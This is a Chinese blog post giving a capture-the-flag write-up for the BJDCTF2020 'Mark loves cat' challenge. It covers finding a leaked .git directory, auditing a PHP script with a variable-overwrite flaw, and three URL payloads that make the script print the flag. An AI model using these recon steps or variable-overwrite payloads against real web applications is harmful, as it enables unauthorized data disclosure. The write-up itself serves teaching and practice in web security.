[BJDCTF2020]Mark loves cat

[BJDCTF2020]Mark loves cat

oDqiBlPEsdpPRp5gARvE0_49zGbbDxfo6qfDEZgojd4

打开环境,在网页端没发现什么提示,通过dirsearch发现有git源码泄露

TD-0tLm2sJVE3fl3KIGUKgfzRUXkf1d7Yp086AuBqH8

通过githack下载下来

PaqgFDbt0gOaFX8kpBpXw0OLyHZlCR1XNNwZTFLlK9U

flag.php里的内容是读取flag文件内容并赋值给$flag

<?php

$flag = file_get_contents('/flag');

index.php的内容多一些,贴出来做代码审计

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){   
    $$x = $y;  //POST型声明至当前文件
}

foreach($_GET as $x => $y){
    $$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){ //如果GET型中flag变量的值等于GET型中一个不为flag的键名则退出
        
        exit($handsome); //exit显然能利用
    }
}
 //如果GET型和POST型中都没有变量flag,则退出
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ 
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

前面两个foreach进行循坏,遍历POST和GET,将数组中的值赋值给$y,也就是变量覆盖

第三个foreach里的if意思是存在(键值为flag的键值对)的值绝对等于这次比较的键值且这次键值不等于flag

下一个if判断不存在键值为flag的键值对(get型)且不存在键值为flag的键值对(post型)

最后一个if判断存在(flag,flag)(post型)或存在(flag,flag)(get型)

最后因为exit也是一种输出,我们可以执行到exit将flag值输出。

方法1:exit($handsome);

首先输出handsome,
就要将handsome的值转为$flag ,即handsome=flag

并且为了满足条件,需要有键值为flag的键值对,即flag=xxx,改变flag的值需要改回来,所以flag=a&a=flag

payload1:?handsome=flag&flag=a&a=flag

BvBB3A9qXnRc3N1zRvJKBFH5KwvE-sgL0b4iP915KE4

payload2:?handsome=flag&flag=handsome

5suYuDPn7O9wup-sDr29G-vomZB0ThMXAKbkqjjwD0U

方法2:exit($yds);

GET,POST 都不输入flag键就可以,只需要将exit中的
yds改为我们需要的flag即可

payload:?yds=flag

N0iwtQr4Fa1MV4yKExi-jgaS6XSTLU8ifc9dGWLhMl8

方法3:exit($is);

将exit中的is改为flag,同时满足if条件存在get型的(flag,flag)

payload:?is=flag&flag=flag

6ArVRu0TXL1hDULZvyMiC2CsHwu9AKZfE1GJJojo4BA

posted on   跳河离去的鱼  阅读(10)  评论(0编辑  收藏  举报

相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

统计

点击右上角即可分享
微信分享提示